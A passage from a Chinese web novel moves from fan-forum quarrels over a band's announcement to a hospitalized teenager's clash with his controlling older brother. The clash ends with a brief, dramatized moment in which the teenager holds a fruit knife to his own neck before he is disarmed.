【我就猜一下又怎么了,不是在排除吗火气那么重你吃点降肝火的吧[无语][无语][擦汗]】 【而且总不能是贝旬吧, 贝旬我都不明白怎么和他交流,就没听他说过几句话。】 【贝旬梦女占比很多的啊, 有几个偏激的也不是不可能吧。】 【贝旬本人知道他在梦女姐姐眼里是清冷占有欲强双标[给力]欲强男吗?】 【妈呀, 这和梦女有什么关系, 雀粉要点脸行吗,阿雀本人知道你们给他画的那些口口图吗,公告上怎么没有你们的名字呢, 下次见你们是不是坐在被告席上啊[大笑]】 【能不能别吵了,重点是在这儿吗,最近都拉进来什么人啊[流汗]】 【啊?那些图不是画得挺好看的吗,涩涩的,覆面系很好^^】 【@管理员踢一下毒唯】 【@管理员】 十几分钟后。 【管理员:抱歉,这段时间现生比较忙,没有及时上线,已经把扰乱秩序的踢出去了。】 【提一下加群门槛吧,审一下主页,本来本群就是此地最后一块净土了[合手]】 【管理员:好的。】 管理员后台私信。 【[流汗]记得把你点赞隐藏,你点了好多涩图,我们都看见了。】 管理员花容失色:【好的。】 净土之外,豆豆论坛娱乐组。 【李涛一下 | 隔壁鸟风又发公告是有效炒作吗?】 1L:【想出这种营销手段的可以滚了。】 2L:【我记得前不久就发了一个道歉视频吧?在我首页转了好几天,很会虐粉哦小哥哥们~】 3L:【信他们几个大男人搞不过一个女的被缠死还是信我是滚圈顶流?】 4L:【楼上能不能别恶意那么大啊,ss又不是正常人,万一精神有问题呢,被逼撞车退圈的还少吗?】 5L:【公告里好像没说是女性吧,我看描述感觉更像男的……我组怎么都不涛一下性别……】 6L:【男的女的有区别吗,还不都是精神病,不过要是男的又造福某些异食癖了,因爱生恨阴湿男鬼私生1X柔弱可怜小白兔0磕起来啊[哈哈][666]】 7L:【恶不恶心啊,楼上主页藏好点,动态咱们都看得见,这点心机就别出来挑了[白眼]】 8L:【真有人不信是营销呢?先是贝斯手遮遮掩掩的不肯露面,回归后又摘帽子录日常地炒作试水好几次,帖子现在还能搜到,再加这两次似是而非的指控,下定决心走黑红的路子了吧。】 …… 23L:【纯失败大营销,都没转出圈,一张公告什么也不清楚,撰稿人可以辞退了,不过对风粉来说效果挺好,挺多都心疼上了,老钟爱惨不是说说而已。】 24L:【怎么没人搬隔壁的分析帖,看得我毛骨悚然[链接]】 25L:【搬帖另开楼[流汗]】 …… 42L:【来晚了,24L链接怎么没了,有无好心人总结?】 43L:【我总结能力一般,看得云里雾里的,好像就说今天这公告是对应上次那个道歉视频的吧,说什么承风被盯上了做局了雪藏了,总之非常诡异的一篇帖子,看完觉得鸟风无望了。】 …… 62L:【爬完楼了,本组是禁红不禁黑是吗,各位恶意满满哦,总之不能说承风一句好,不就是团队维护成员表明立场的常规操作吗,据说承风还没签公司,号都是自己人运营,这不吹一把队友情说不过去。】 63L:【雷暴云孝子控组了吧,你队自己队内不和搞得合作演出黄了,承风临时救场还被盯上也是倒了大霉了,反正我看好这个鸟风哥哥弟弟相亲相爱哦~】 64L:【从队名开始就杠上了,相爱相杀嗑一口[嘻嘻]】 65L:【异食癖[恶心][恶心][恶心]】 该帖在首页飘红一阵,很快被其他红帖刷了下去,再没多久,整帖封锁。 网络腥风血雨,线下一派祥和。 爱山医院,辽光放下果篮就在病房内四处转悠,左看右看上看下看。 “嚯,我感觉坐电梯上来不符合这儿的格调啊。” 纪羽靠在抬高的床头上,虚弱着声音问他:“那你想怎么上来,拿轿子抬你?” 辽光背着手:“这你就没见识了。诶,你把头发从窗户放下去,咱们所有人就抓着你头发吭哧吭哧爬上来呗。” 这儿不就跟城堡似的么。 “你有病。”纪羽有气无力地白他一眼。 “看在你都这样了,”辽光在床边张开手比划一下,“我就不和你计较了。” 纪羽:“我只是肠胃炎。” 当晚回家时他还没什么事,还和徐梁说了会儿话,才躺下没多久就肚子疼干呕,爬起来没走几步就倒在地上什么也不清楚了。 经过几天治疗,呕吐腹痛的情况好多了,只是他体质差,身上没什么力气。 他对辽光说:“新曲我练得很熟,过几天去合一下就好了。” 椅面落下沉重的响,辽光靠着椅背看他,纪羽没穿病号服,房间内温度适宜,他穿一件长袖还嫌热,纪羽却套了一条厚卫衣,样式是他这个年纪喜欢的,宽宽大大,露出来的手腕和脖颈都细细一截,唇色也淡。 “急个屁,那就一个小台,实在不行就推了,雷暴云最近不是经常跑演出吗,让给他们也成。” 纪羽不满意地盯着他,辽光改口:“实在不行让贝旬调个效果器呗,决赛当天本来我们就那么打算的。” 要让纪羽现在这样上台,肩膀薄得挂贝斯都像能折的样子,辽光都觉得自己在虐待祖国的花朵了。 纪羽轻哼一声:“想都别想,我马上就出院了。” 纪羽暂时吃不了硬的,辽光随手拿了个梨削皮:“再跟哥说说呗,你这小身板,怎么打的那鳖孙,动棍子没?” “还能怎么打,就靠手,我力气可大了。” 纪羽捏拳头比划,不小心扯到了留置针,辽光蹦起来嗷嗷叫唤。 “按铃在哪按,还是我出去叫人??” 纪羽淡定地看他:“只是回血。” “我不跟你说了,还是等老麦和贝旬来吧,太危险了你。”辽光跑到一旁沙发处啃他的梨,咔嚓咔嚓的。 “哦……老麦不上班吗?” “他上夜班,还早着呢,太阳还没落山,才五点多。” 纪羽敏锐发问:“那你怎么在这?” 辽光一噎:“小孩子别问那么多。” 纪羽:“你被炒啦?” “什么话!”辽光震怒,“我是基于个人发展理念与公司宗旨不合的判断下,决定转投其他领域,现在正是过渡期。” 还是被炒了,纪羽:“哦!” 下次分成让曲坚调整一下份额吧,纪羽想。 “眼睛滴溜滴溜转,想什么呢。” “想我的饭什么时候来。” 辽光也饿了,想去找点吃的,又不放心把纪羽一个人落这儿:“你家里人呢?” 他来的时候病房也没人,纪羽一个人躺在床上睡觉,虽然有随时看护情况的护士和豪华的设施,但空荡荡的总归没人情味。 就以他进来的视角拍张照发网上配文“我不要很多钱但我要很多的爱”肯定能火。 多么青春疼痛的一张脸啊。 纪羽觉得辽光看他的眼神很像在看什么可怜的傻逼。 “我爸妈晚上才会过来,下午我让他们回去休息了。” 徐梁睡觉打鼾,他听了睡不着。 辽光不知道懂没懂:“那小贺呢,他工作就那么忙?” 纪羽用看傻瓜的眼神回视:“他在上学,他也高三。” “哦哦我忘了。”辽光也不是故意的,就看贺思钧那体格那长相,潜意识里总认为他是自个儿同龄人,没法和看纪羽似的看待他。 辽光绞尽脑汁:“那你哥呢,你不是有个哥哥吗,上次还送你来的。” 纪羽幽幽地背过身,蜷缩起来:“他脑子有病,来不了医院。” 辽光放下二郎腿:“哦……节哀。” “……”正推门进来,将两人对话听得一清二楚的纪律冷声说道,“纪羽,吃饭。” 寂静的室内冷不丁响起这一声,辽光又蹿起来:“他……?” 纪羽扭头回来:“哦,今天病好了。” 第75章 趁着辽光向纪律自我介绍, 纪羽掀开饭盒,看了一眼,又缓缓躺了回去。 纪律分出眼神:“不想吃?” “烫。” 纪羽嘴挑, 但也不是不能吃外边的东西,但在爱山来来回回住了好多年, 就和吃食堂一样,腻味,也就是韩姨十多年来随时按他心意调整, 顿顿不重样。 但在病中, 纪羽来来回回吃的也就那几样。 辽光不挑,纪羽给他点了份餐, 辽光坐一旁桌子上吃得头也不抬。 “还烫?”纪律从文件里抬起眼, 纪羽拿着勺在碗里搅,米粥半晌没进过嘴。 这些天纪羽吃得少吐得多, 人自然瘦了不少, 瞧着就比同龄人单薄。 从小纪羽就挑食,个子长得慢, 比纪律这年纪时矮了半个脑袋, 纪泽兰还带着他去医院检查是不是发育迟缓。 检查说他营养不良,之后又是吃营养液, 又是肉蛋奶轮番上,好不容易养壮实了, 又生了新的病, 忌口的东西更多, 只能靠营养师调配饮食。 纪羽能长那么大,全是一口一口硬塞着喂下来的,照他自己心意来, 指不定能把自己饿进急诊。 前段时间好不容易长得结实些安稳了一段日子,就这一晚上又出现了新的情况。 把纪羽从房间的地板上捞起来时,他头向后耷拉着,全身冰凉瘫软,全靠人支撑着才没再滑下去。 纪羽只当自己睡一觉又过去了,半点没有危机意识,要是他没听到纪羽倒地的声响,或是听到了也没有去查看,纪羽可能直接在这段时间内休克,发展为更严重的后果。 “你知不知道现在自己几斤?”纪律问。 纪羽低头塞了一口粥,他胃口时好时坏,看别人吃饭时胃口好,轮到他自己就提不起劲。米粒煮到软烂,很好入口,但他喝着也没意思,吞咽时喉间挤压拉扯的力让他条件反射地想呕。 他压下去,没表现出来,过了一会儿才淡淡道:“一百多斤啊。” 纪律:“你四天前体重是一百一十八斤,今天早上称是多少?” “……” 纪羽装听不见,在粥里挑南瓜丁。 也就轻了三四五六斤吧,掉的都是水分! 纪律又说:“郝医生是不是跟你说少食多餐,让你上午和下午也要吃东西,你吃了吗?” 纪羽塞一整勺南瓜丁到嘴里,闭着嘴嚼嚼嚼,南瓜肉去了皮,一抿就化了,牙齿毫无阻碍地互相磕碰,发出清脆的响。 辽光小心翼翼地投来一眼,见两兄弟都没在看他,表情严肃,又吭哧向嘴里塞了块红烧鸡。 纪羽逃避不说话,但也不用说,显然纪律都知道答案,就是要拿出来吓他。 这其中肯定还有徐梁和纪泽兰和他告状。 两人年纪大了,心软,管不住人,纪羽一说吃不下想吐可怜巴巴地一撇头,他们也就狠不下心逼他。 可纪羽最缺的就是免疫力,体重一降,什么都白搭,现在又是流感高发期,这几天住院把肠胃炎养好了,返校教室里三四十个人一坐,人堆里一晃,保不齐又染上什么病毒,到时候还要不要好? 纪律动了心思把纪羽养在家里,也省得他被些乱七八糟的人缠上。 “呃唔。” 纪羽手盖着嘴,弓腰向床沿叹,脊背弓起清晰可见骨头。 辽光丢下筷子飞快跑来:“没事吧,这咋了不是好好的吗?” 纪律撑开袋子,纪羽头一低就把刚吃下的都吐了,还在不断干呕,手抵着上腹,上身折叠蜷成一团。 辽光被他剧烈的反应吓了一跳,手顺着他脖子后向下顺:“没事没事,吐了就舒服了。” 过了三五分钟,纪羽缓过来了,右手被纪律捏得生痛,气不打一处来:“你还掐我!” 纪律这才放开他,给袋子打结一会儿给医生观察。 他稍稍放轻了语气:“我没掐你,按的合谷穴,止吐的。” “哦……那也痛……”纪羽后知后觉想到被缓解的反胃感,但没有要为错怪道歉的意思,他捧着手,吐过后精神差了一截,靠在床头呆着,“我想喝水。” 抢在纪律之前,辽光手脚麻利地接了杯温水递到纪羽嘴边。 一只手横出掐住纪羽脸颊,纪羽张嘴就咬,纪律也没抽手:“先别喝,漱口后吐出来。” 纪羽答应得好好的,漱口后又想喝,被纪律捏着脸逼着吐掉。 纪羽什么也不想干了,蜷进被子里一言不发,纪律将桌面收拾干净。 辽光没见过纪羽这样子,站在一旁看着。去临省参加音乐节那会儿纪羽也晕车,但下车吐了一会儿后就好多了,一整天活蹦乱跳。辽光最爱逗他,也是纪羽反应最有趣,有点坏心眼但不多,一点就炸也不要人哄,自己就把自己照顾好了。 再不济还有贺思钧供他泄气。 乐队里能支持长时间演出,没几个身体差的,纪羽是单薄了点,但他还在长身体,辽光从农村出来,上树掏蛋下水摸鱼,谁家小子这个年纪不是干干巴巴的,照样上蹿下跳。 所以他也没往纪羽体质不行想过,只当是城里人养孩子精细,地方又小锻炼不开,纪羽才养得这么白嫩,长不出什么肌肉来。 今天听他哥的口气,显然纪羽是有长期的身体问题,不然这年纪家里人还能关心他什么时候吃饭,每顿饭吃多少? 辽光想着,纪律冷肃者一张精英脸对他道:“不好意思,让你见笑了。” 这么文绉绉? 辽光摆摆手:“哪里哪里,没笑没笑。” 纪律:“借一步说话。” 辽光也吃不下去,收拾了餐盒准备拿去丢:“可以可以。” 纪羽翻了个身,就听纪律对他说:“先别睡,再过十分钟护士会进来给你送口服补液盐。” 纪羽不说话,装睡。 纪律:“想一想待会要吃什么,你自己决定。” 纪羽有点精神:“什么都行?” 纪律补充:“你能吃的。” 纪羽躺回去:“那吃面吧。” 纪律掖了掖被角,和辽光一块儿出去了,纪羽没怎么担心,纪律在其他人面前还是有点人样的。 太阳早落山了,纪羽躺在床上只能看见窗户外浓黑的天空。 身后脚步声响起,纪羽就知道贺思钧来了。 纪羽忍不住抱怨:“好晚。” 贺思钧把书包放下,从提着的袋子里掏出颗柠檬,到洗手间洗过,在表皮划了两刀用纸裹着放到纪羽脸颊边,解释道:“今天有值日,明天不会了。下午还吐吗?” 床头有高度,柠檬向下滚动,纪羽抓住,掀开纸嗅了两下,酸味裹着果皮的清香扩散,嘴巴里的苦味才算散了。 床头又被贺思钧抬起来些,纪羽扭过身来看他:“下午是不是小考了?” 贺思钧:“刚吐了?” 纪羽:“……考没考!” 贺思钧:“考了。还想吐吗?” 纪羽坐起来,嘴巴很干,指使贺思钧道:“我想喝水。” 贺思钧走到门口去,调高设定温度,像没听到:“我把考卷带回来了,有几道题比较重要,已经圈出来了,只做那几道就好。” 纪羽:“我想喝水!” 贺思钧:“呕吐后十五分钟内不能喝水,你会不舒服。” 纪羽只知道现在他就快渴死了,刚刚偷咽润喉的两口水说几句话就干巴了。 他高呼:“我要喝水!” 贺思钧:“我在门口碰到了老麦和贝旬。” 纪羽振臂的手一顿,向他身后看:“那他们人呢,你没把他们带上来?” “纪律哥和辽光刚好坐电梯下来,他们有事谈,一块儿走了。” “你就不能一口气说完?” 贺思钧在他背后塞枕头:“好。你们又吵架了?” 这个你们不言而喻,纪羽抱臂:“没有,我都没有理他。” 贺思钧语速不快不慢:“那怎么会吐,中午不是吃得很好吗?” 中午纪泽兰和徐梁都在,贺思钧跑过来看了他吃饭,顺便把上午复习的进度同步给他,纪羽吃得挺乖,也没指责胡萝卜为什么长得那么难吃。 纪羽用力捏柠檬:“就是不想吃。” 没什么理由,他也没有很不舒服,那会儿肚子也不疼,也没有低烧,只是突然没食欲,但确实到了他该吃饭的时间,现在胃里都有点烧。 “那可以晚一点吃。” 纪羽抬眼看他一眼:“你以前和纪律一样唠叨。” 和纪羽最讨厌人物排名第三的纪律相提,贺思钧也没气馁:“他说什么了?” 莫满和梁子尧并排第一,最近两人销声匿迹,梁子尧学也没上,纪羽自认是被气病的,在痊愈前不打算再提这一对衰人。 贺思钧暂居第四,接连下退三个名额,可喜可贺。 在出了狸猫换太子戏码后,纪羽觉着贺思钧喜欢就喜欢他吧,至少没变态。 纪羽清嗓子,活灵活现学了一通纪律的话。 “他一说我就紧张,我又不是故意的。”纪羽掰自己的手指,“他本来都不这样了……” 贺思钧在床沿坐下:“他可能只是被吓到了。” 纪羽抬眼:“你帮他还是帮我?” 贺思钧不假思索:“但他做得不对。”—— 作者有话说:下面几章虐一点 第76章 “孺子可教也。” 纪羽老神在在地评价道。 刚轻松不到几分钟, 护士推门进来,纪羽的脸顿时垮了。 护士:“一袋冲250毫升温开水,少量多次, 现在喝还是等一会儿喝?” 纪羽:“可以不喝吗,我觉得好很多了。” 护士掩唇一笑:“你感觉不好那就要再加吊瓶了。” 纪羽:“……可以加吗?” 护士:“不可以哦。” 纪羽:“哦……” 贺思钧起身:“现在冲吧, 这个喝完多久能吃饭?” “半小时以后,注意不要再吐了,能吃东西是最好的, 但也不用逼着他吃太多。” 贺思钧点头:“好。” 护士轻轻带上门, 纪羽又靠回床头,对着贺思钧又不太高兴:“晚点再喝啊……” 贺思钧手上动作不停:“再晚一点你吃饭就晚了, 晚上睡不好。” 纪羽:“那就睡不好, 我又不上课。” 贺思钧:“你不吃饱就没力气写题,反应也会变慢。” 纪羽挣扎:“那也就是这几天, 等我好了就行了, 不会耽误进度的呀。” 纪羽耍花腔不起效,贺思钧又说:“你体重降太快了, 这点脂肪不够御寒, 下雪天你都出不了门。” “下雪?”纪羽捕获关键词,眼珠一转盯住贺思钧, “宁海都好久没下雪了,今年会下雪?” 物以稀为贵, 宁海受地理位置、气候影响, 十几年来下雪次数少之又少, 纪羽掰着指头都能数过来。 有一回半夜骤降大雪,纪羽起夜醒了,跺着脚哼哼唧唧地要出去玩, 纪律没让,等到第二天纪羽起床,雪早被太阳晒化了。 纪羽想往北方去看能堆起来的雪是怎么样的,有好几次规划了行程临行前又病了,光是宁海的低温他都忍不了,还执意再到更寒冷的地方去,后来任谁也同意不了。 贺思钧点头:“这几天有概率降雪,你好好吃饭,早点出院就能在院子里堆雪人了。” 这话说得很有蛊惑性,充满幻想色彩,都不像贺思钧能说出来的话,换了别人说,纪羽未必会轻易上当。 “好吧。” 为了拿出向好的决心来,纪羽壮士断腕般捧起水杯,大义凛然地灌了一口。 “呕。” 只是干呕。 贺思钧马上把杯子拿开。 “很难喝?” “难喝。” 又咸又甜,又有一股油腻的味道勾住舌面,像吞了一块汗味的史莱姆进肚,纪羽险些又吐出来。 长痛不如短痛,纪羽咬咬牙:“杯子给我。” 贺思钧阻止他的意图:“慢慢喝,一口气喝完更不舒服。” 纪羽气得蹬腿:“到底想怎么样!” 贺思钧看他这么抵触,鬼使神差也喝了一口。 纪羽呆呆看他,看他咽下又去推他喉结:“你有病啊,随便喝药,快吐出来!” 指尖长了新的茧,刮着喉结,又痒又疼,痒占了大多数。 贺思钧攥住他作乱的手腕:“就一点,没关系。” 喉结上下滚动,贺思钧说:“挺甜的。” 纪羽不相信:“你味觉有问题。” “真的。” “不信。” “有一点咸,但很甜,不难喝。” 纪羽看看清澈的液体,又看贺思钧正直凛然的脸,有点动摇:“你骗我呢吧?” 是他太紧张,才觉得味儿不对? “和加了盐的蜂蜜味道差不多。” 纪羽下定义:“你有异食癖。” 贺思钧图穷匕见:“你再喝一口试试。” 黑夜下城市依旧璀璨,高楼大厦鳞次栉比,街头巷尾吆喝声不断,高架桥车流如水,喇叭声从桥头响到桥尾,市区内僻静的一角,爱山住院楼内一间病房寂静,悄无声息。 纪羽和贺思钧无声对峙。 贺思钧率先打破沉默:“还有三口。” 纪羽不可置信:“这是五口!” 贺思钧:“很快了。” 纪羽不配合:“你喝吧,我喝饱了。” 见贺思钧真往嘴边送,他又扯住:“你要给我心里建设的时间。” “水要冷了。” “你这样让我很紧张!” 纪羽看着那杯无害的澄澈液体,如临大敌,定了定心神,正伸手去拿,贺思钧把杯子端走了。 贺思钧:“我再重新泡一杯。” 纪羽一脚踹他胯骨上:“给我。” “我端着你喝。” 纪羽想也是,万一他吐杯子里就不好了,就着他的手喝。 就这么喝一口呕一下歇一会喝一口呕一下歇一会,总算到了最后。 纪羽的肚子咕嘟咕嘟。 “最后一口。” “我已经喝饱了。” “再喝一口就好了。”贺思钧扣住纪羽的后心,声音和缓,动作却是将人拢住逃脱不开,纪羽所有心思都落在那口“毒水”里,没察觉他们的动作有多亲密。他攀着贺思钧的小臂,凑身上去够杯子,濡湿的唇在杯壁留下浅白的印子,很快消散。 “纪羽。” “咳!”纪羽捂住嘴闷咳,看到纪律沉着脸向他走来,目光像寒刀般割过他和贺思钧相勾连的手臂,手掌下的皮肤突然滚烫到无法触摸,纪羽一把推开贺思钧。 “自己拿不了水杯?我有教你这么做过?” 纪律的审视千钧般压下,纪羽闷着咳嗽胸膛震动得厉害,躲开了贺思钧拍背的手。 趁此,贺思钧胆大包天地开口:“他喝这个想吐,容易打翻,所以我替他拿着,哥,你没必要凶他。” “贺思钧。”纪律冷然碾过这三个字,语气不咸不淡,“天色也不晚了,你先回去吧。” “不……” “我听说这些天你每天都来照顾纪羽,来回奔波,虽然你年纪轻体力好,但你毕竟也是高三,你父亲对你期望很高,还是应该把重心放到自己身上。明天开始我会向学校了解教学安排,就不麻烦你再赶过来了。”纪律不容置喙道,“等纪羽身体好转,我会登门道谢。” 贺思钧嗅到危险的信号,面部因表情褪去了柔和而显出嶙峋的锋利来。 “我不觉得累,也不需要感谢。” 纪羽看着纪律像听到什么笑话似的,低头肩膀耸动,用不带笑意的眼神掠过他,“这不是你说了算的。” 纪羽浑身发凉,他在贺思钧开口前,扯住了他的袖口:“回去。” 贺思钧压眉:“小羽?” “你回去,这几天不用再来了。” 纪羽态度坚决,贺思钧可以不在乎纪律的态度,却不能无视纪羽的意愿。 他捏了一下纪羽的手心,背上包:“有事联系我。” 病房内的气氛并没有因为贺思钧的离开而好转,如被浪花打下落入黑沉的海。 无边无际地吞没了无声的呼救。 “有什么要说的。”纪律居高临下地注视。 “老麦他们人呢。” “我不觉得你现在该关注这个。” “纪律!”纪羽叫道,“别拿这种态度来对我!” 纪羽的情绪又变得过激,他有义务让纪羽平复下来,纪律淡声道:“那你觉得我该是什么态度,把你抱起来夸你两句做得好?” “你闭嘴!”纪羽牙关紧咬,每当纪律用这样轻慢的充斥着傲然的语气说话时,他就像被扒开衣服暴露在白炽灯下,耻感从脊椎向上攀爬,锁住了他的喉咙,让他只能发出这种不得体的尖声嘶吼,而纪律那么体面,好像一切的错处都在于他。 “我闭嘴?”纪律厉声道,“纪羽,我不信你不清楚贺思钧对你是什么心思!” 纪律知道了。 “我清楚又怎么样?” “从今天起,你不用再和他见面。” “你没有资格对我指手画脚!” 纪律又是他什么人,他顶多比他先出生十年,却处处占尽便宜,别人只会问他有个弟弟是不是很辛苦,问到纪羽却是:有一个大你很多的哥哥,应该过得很轻松吧? 和父母共同撑起家庭的人是纪律,提起来纪泽兰最优秀懂事的儿子是从小一路辉煌光耀门楣的纪律,是纪律替他先走了一遍人生路才让他顺顺当当地长大。 纪律那么好,那么聪明情绪冷静处事不惊,如果不是他的哥哥,几乎是完美的人。 “凭我是你哥,凭我养了你,你走的第一步是我牵着你,你吃的第一口饭是我喂的,我要管你,用不着任何理由,让你听我的话也不需要我向你解释为什么。我只要听见你说知道了,其他的我都不关心,更不在你的回答范围内,听明白了吗?” “不明白!不明白!我就是不明白!” 纪羽打翻床头的果篮,手腕撞上柜角,新鲜的瓜果滚落一地。 “你发什么疯!”纪律喝道,仅仅是让纪羽和贺思钧断了联系,就落了这样激烈的反抗。 他去碰纪羽受伤的手腕,却纪羽拿着香蕉砸脸。 “先生……”护士听到动静来询问。 “出去。”纪律背对门口,声音冷静,“过五分钟再来。” “五分钟,哈,你想花几分钟解决谁?我在你眼里还是需要抽时间完成的任务是吗?” 面对责问,纪律充耳不闻,他箍住纪羽的双肩,任他如何挣扎也逃脱不开。 “你和贺思钧发展到什么程度了,你和他做了吗?” 纪羽咬住了他的脖子。 第77章 “松口!” 纪律腾出手, 虎口抵住纪羽下颚上抬,逼迫纪羽松口。 纪羽左手脱困,立刻挣扎起来, 指尖嵌进纪律小臂,动作间留下道道血痕。 齿间尝到铁锈味, 顺着舌根向下淌,纪羽喉间一紧,嘴巴无意识张开, 纪律上身后撤, 脖子下缘一道深刻的牙印,混合着透明的津液和血水, 边缘发紫。 纪羽干呕两声, 随即斥声道:“纪律,你不要脸!” 他全身剧烈地发抖, 像蒙受了什么奇耻大辱般面色涨得通红, 胸膛不正常地起伏。 纪律视若无睹,依旧沉声地掷下质问: “回答有还是没有。” “是他喜欢我!他喜欢我我也有错吗?你要我做什么?你要我做什么啊!你想怎么样啊!” 纪羽的眼泪流不出来, 大口大口地喘着气, 感到天塌地陷般的恐惧。 纪律上前几步,他手撑着床向后躲。 纪律停住了。 “你的拒绝呢?”纪律衣领凌乱, 血水蜿蜒洇湿衬衫,纪羽的嘴角也沾了血, 在挣扎间抹开, 弄脏了下巴。 “你用了什么手段拒绝他, 是怎么疏远他,告诉他你们之间不可能?他喜欢你,你就理所应当地接受了, 你想过你要承担什么后果,你以为自己很聪明很厉害,能应付得了他?” 布料下手臂掐得青紫,纪羽咬着牙:“我没有!” “我说了!是他喜欢我,我拒绝了!我告诉他我不喜欢他,这还不够吗,我们是朋友,你还要我怎么做,变成像我和你一样的关系吗?话也不能好好说,永远都要吵架吵架吵架,就这样你才最满意,是不是?!” 纪律的目光像海一样沉,什么都没有,深邃的漩涡总是悄无声息地吞没纪羽所有哭喊。 他究竟是纪律的责任还是累赘? “你以前很乖。”纪律说,眼神里竟然流露出几分留念。 乖? 纪羽扯着嘴角笑得比哭还难看:“那你以前怎么不夸我呢?你觉得好,是因为我没办法,我只能听你的!爸妈不在,我除了跟着你还有谁,韩姨有自己的家,贺思钧也有自己的家,我回到家除了你我还能等到谁啊?” 纪律为什么每次都要这样呢,每次在他觉得纪律在对他好,他们或许能渐渐变成和谐的家庭那样,可以彼此包容互相理解,但每一次这个幻想都会被打碎。 纪律对他好又对他这么坏,他既恨他又没法一走了之,他跑都跑不了多远,只能牢牢地被栓在家里,他跑不掉。 “你喜欢以前的我那你去找啊,你找到了把我丢出去啊,我告诉你,我巴不得长大然后永远不再见到你,我宁愿和贺思钧过一辈子我也不会愿意再被你养一遍,我不要你!我恨你!” 纪羽的狠话也幼稚得可笑,纪律是怎么看待他的呢,他是不是希望自己像小时候一样,就算哭也逃不开他的视线,纪律要把什么都握在掌心,一丝一毫的自由都不肯施舍给他。 纪律像一块顽固不化的坚冰,就算积年累月的拥抱也得不到融化后的温暖,有的只是被封存的荆棘,满手的伤口来不及愈合就被冰冻住。 为什么是纪律是他哥呢? 五分钟到了,护士在门口没有进来,影子朦胧地映在玻璃上又落在地面。 纪律的声音恢复一如既往的冷静,像在做最后的陈词结案:“和贺思钧断了联系,这个学期结束前你就在家里休息,我会请老师辅导你。乐队的合约结束后我也会替你解决。” 纪羽猛然抬头:“你和其他人说了什么?” 纪律:“一个普通的乐队,不需要你再花心思在这上面,你只需要听话。” “我问你和他们说了什么!” 气血上涌的红润面色已经褪去,纪羽皮肤苍白,像风中摇曳的烛火,看似蓬勃燃烧,却是眨眼间便能熄灭,“你情绪太激动,等你冷静下来我们再谈。” “我问你你和他们说了什么,你凭什么替我做决定?”纪羽赤脚下了地,猛扑向纪律,衬衫绷开缠住手掌,“你凭什么这样对我?” 纪律低头冷然看他:“我已经告诉过你答案。 “他们连突发状况都没法独立解决,承风这个名字已经足够可笑了。” 纪羽愕然地看着他,不明白纪律是如何知晓当天的情境:“那是个临时的意外!” 纪律掰开纪羽用力到痉挛的手指:“对你来说不算临时,你没有能力处理,你经常把自己放到不稳定的情况中。 “所以,我来解决。” 当啷。 玻璃杯落地,清脆的破裂声尖锐而短促。 “纪羽!” 纪羽的手还悬在半空中。 少年黑白分明的眼珠里爬上道道血丝,眼圈深红,赤着的双脚被噼啪弹跳的玻璃碎片划出几道浅浅的血痕。 “我很冷静。”纪羽伴随着纪律的动作而向后撤步,纪律看着他即将踩上一块玻璃渣而大声喝止:“别动!” “你才是别动!别靠近我!”纪羽喊道。 病房内弥漫着虚假的平和氛围。 “我在和你吵架,我还没有喊停,你怎么能自顾自结束当做什么都没发生过?我在和你说我很讨厌你对我颐指气使,我讨厌你一而再再而三地无视我的感受替我决定。 “你为什么总是不听啊,我在生气我在恨你,你以为我还会听你的话,你觉得我的想法无关紧要,就像上次一样,无论我和你在说什么,你想什么时候结束就什么时候结束,是这样吗?” 纪律锁紧眉心:“你……” “你把我当人看吗,你对你的同事对你的客户,也会丝毫不考虑他们的心情想做什么就做什么吗?是爸妈教你这样对我的吗,是因为我在你之后出生所以你怨恨我吗?你恨我吗烦我吗想把我一脚踹开吗?你到底是怎么想我的,我是不够好所以你才这样对我吗?” 纪律脖子上的牙印已经结痂,黏住了衣领,说话时受到拉扯像要再度裂开:“你要我回答哪一个?” “全部。” 喉间到胸口攥紧压迫的痛感,被暂时都被压下,纪羽目光死死抓住纪律的眼睛,想得到纪律的答案,他不想剖开疮疤又不了了之任它随时间愈合。 疤痕会增生,会拉扯完好的皮肤,令关节紧张而无法屈伸。 他要看着创口被缝合,而不要它在无人在意的角落面目全非。 “这不一样,纪羽。”纪律终于在漫长的等待后回答,“你应该知道你和其他人不一样。” 纪羽太敏感,会为山村里那个老人随口一句把他丢掉而大哭大闹几晚,抱着人的胳膊才能入睡。 有时候徐梁因为他不吃饭而脱口的一句吓唬也会让他哭个不停,起初纪律根本不懂纪羽过剩的情绪从何而来又如何处理。 “你根本不懂怎么分辨好坏是非,就算我告诉你家人会无条件地帮助你、爱你,你还是不会相信。你觉得只有你感受到的才是真的,顺着你让你高兴的才是好的,你的评判标准只有当下你的感受和你得到的东西,你看不到以后。” “你就觉得我那么笨?”纪羽声音嘶哑似乎是哽咽道。 “贺思钧听你的话,对你好,是他喜欢你,听着很好,你什么都不用做,只要等着他来伺候你是不是?但是今天换作是爸妈知道这件事,他们会怎么做,你觉得他们会和我做相反的决定,让你继续和贺思钧好好相处直到有一天你们俩的事情败露?” “……我没有和他在一起……” “你觉得有区别,在贺思钧看来也是一样吗?是你在给他错觉,你给他可以长久的信号。” 不是,不是这样,他是要和贺思钧彻底分开的,只是还没到时间,他需要时间啊! 纪律似乎不打算给他缓冲的时间:“你以为养着承风他们会感激你,会心甘情愿地陪你玩一辈子过家家,等你毕业离开宁海去别的城市,他们也会跟着你一起离开吗?纪羽,你不该那么天真。 “从那三个人接受你以外的人上台开始,就说明你不是不可以替代的。” 这件事已经过去了,他在学编曲,他可以和贝旬一起创作出属于承风的作品,从此承风的每一步都有他的烙印,他会是不可撼动的,不是纪律说的那样。 可纪羽张嘴,什么声音都发不出来,剧烈的悲伤从四肢末端上涌,随着纪律的声音揉捏住纪羽的心脏。 “没有人会按你的心意理所应当地发展。” 许久,纪羽才找回自己的声音。 “闭嘴……” 他在纪羽纪律盛怒的目光中抓起水果刀抵在颈边。 他不想死,他只是想离开纪律在的地方。 “在你眼里,我怎么样都是错的,我的感受是,我的喜好是,就连我说我恨你你也不相信。我没有说气话,也没有不清醒分不明白好和坏。” “把刀放下!” “你让开!” 门被大力撞开,纪羽看到纪泽兰和徐梁惊恐的神情,在这之前是贺思钧。 场面陡然失控。 “小宝……” 纪羽握着刀没有放下,手腕紧了紧,刃开得锋利,竟然真在脖子上留下了血痕,有一点凉。 纪律的伤口在左边,他的在右边,刚好对称了。 纪律眼中罕见地闪过一丝慌乱:“纪羽!……适可而止……” 贺思钧身影闪过,玻璃碎片被碾成碎末,纪羽感到一阵风来,手腕一翻,刀就掉在地上。 纪泽兰跑来抱住了他,身上很温暖,纪羽才觉得冷。 “纪律!你怎么能这么对你弟弟说话?” 第78章 从那天起, 